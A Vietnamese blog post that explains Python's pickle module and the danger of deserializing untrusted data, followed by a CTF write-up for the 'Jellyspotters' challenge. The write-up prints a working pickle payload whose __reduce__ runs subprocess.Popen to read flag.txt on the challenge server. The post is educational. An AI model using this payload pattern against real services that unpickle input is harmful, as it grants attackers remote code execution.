Python Pickle-Deserialization Vulnerability – Nhat Truong Blog
Có thể bạn quan tâm
I. Pickle là gì?
Là dưa chuột :v Đây là một phần của thư viện Python theo mặc định, là một mô-đun quan trọng bất cứ khi nào bạn cần sự bền bỉ giữa các phiên người dùng. Là một mô-đun, pickle cung cấp khả năng lưu các đối tượng Python giữa các quy trình.
Cho dù bạn đang lập trình cho cơ sở dữ liệu , trò chơi, diễn đàn hoặc một số ứng dụng khác phải lưu thông tin giữa các phiên, pickle rất hữu ích để lưu số nhận dạng và cài đặt. Mô-đun pickle có thể lưu trữ những thứ như kiểu dữ liệu như boolean, chuỗi và mảng byte, danh sách, từ điển, hàm, v.v.
II. Khai thác điểm yếu
- Chắc hẳn trong thực tế bạn sẽ gặp những task mà cần phải lưu trữ hoặc truyền tải các đối tượng (Object), dữ liệu (Data). Bài toán đặt ra ở đây là làm thế nào để thực hiện điều đó mà vẫn giữ nguyên được trạng thái của nó. Serialization/Deserialization được đưa ra để giải quyết vấn đề này. Serialization là việc ghi các trạng thái của 1 đối tượng thành dạng dữ liệu có thể truyền tải hoặc lưu trữ được. Còn Deserialization là việc tái thiết lại các đối tượng từ các dữ liệu này.
- Pickle được sinh ra để giúp chúng ta làm việc này. Tuy nhiên bạn cần rất lưu ý khi sử dụng nó. Ngay trên document của thư viện này cũng có cảnh báo.
III. Ứng dụng giải CTF
Đây là bài Jellyspotters, được list trong thư mục là pwn, nhưng theo mình đây cũng có thể bài web:v
Telnet tới umbccd.io 4200 nhận được giao diện như sau:
Sau vài vòng khảo sát nhận import xổ ra lỗi liên quan tới pickle, thực hiện build payload:
import subprocess import base64 import pickle class Exploit(object): def __reduce__(self): return (subprocess.Popen, (('cat', 'flag.txt'),)) print(base64.b64encode(pickle.dumps(Exploit())))Chạy đoạn code gen serialization data để exploit, trong trường hợp này nó chạy thư viện Popen lấy thông tin từ lệnh cat flag mà ra:
Import vào, dễ như bánh rồi.
Share this:
- Click to share on Twitter (Opens in new window)
- Click to share on Facebook (Opens in new window)
Từ khóa » Thư Viện Pickle Trong Python
-
Cách Sử Dụng Pickle để Lưu Các đối Tượng Trong Python
-
Sử Dụng Pickle để Ghi File Nhị Phân - TEK4
-
Sử Dụng Pickle để Lưu đối Tượng Trong Python - EFERRIT.COM
-
Pickle – Thư Viện Serialization/Deserialization Trong Python
-
Sử Dụng Pickle để Lưu Các đối Tượng Bằng Python
-
Pickle — Python Object Serialization — Python 3.10.5 Documentation
-
7. Vào Và Ra - Python Cho Người Việt
-
Python — Lưu Một đối Tượng (Kiên Trì Dữ Liệu)
-
Cách Sử Dụng Pickle.dump Trong Python - HelpEx
-
Không Thể Pip Cài đặt Dưa Chua Trong Python 3.6 - HelpEx
-
BTL Cuối Kỳ_18021323 | Kaggle
-
Bài 7: Lưu Và Sử Dụng XGBoost Model - VTI TechBlog!
-
Chi Tiết Bài Học 25.Python JSON - Vimentor
-
Làm Cách Nào để Lưu Và Khôi Phục Nhiều Biến Trong Python?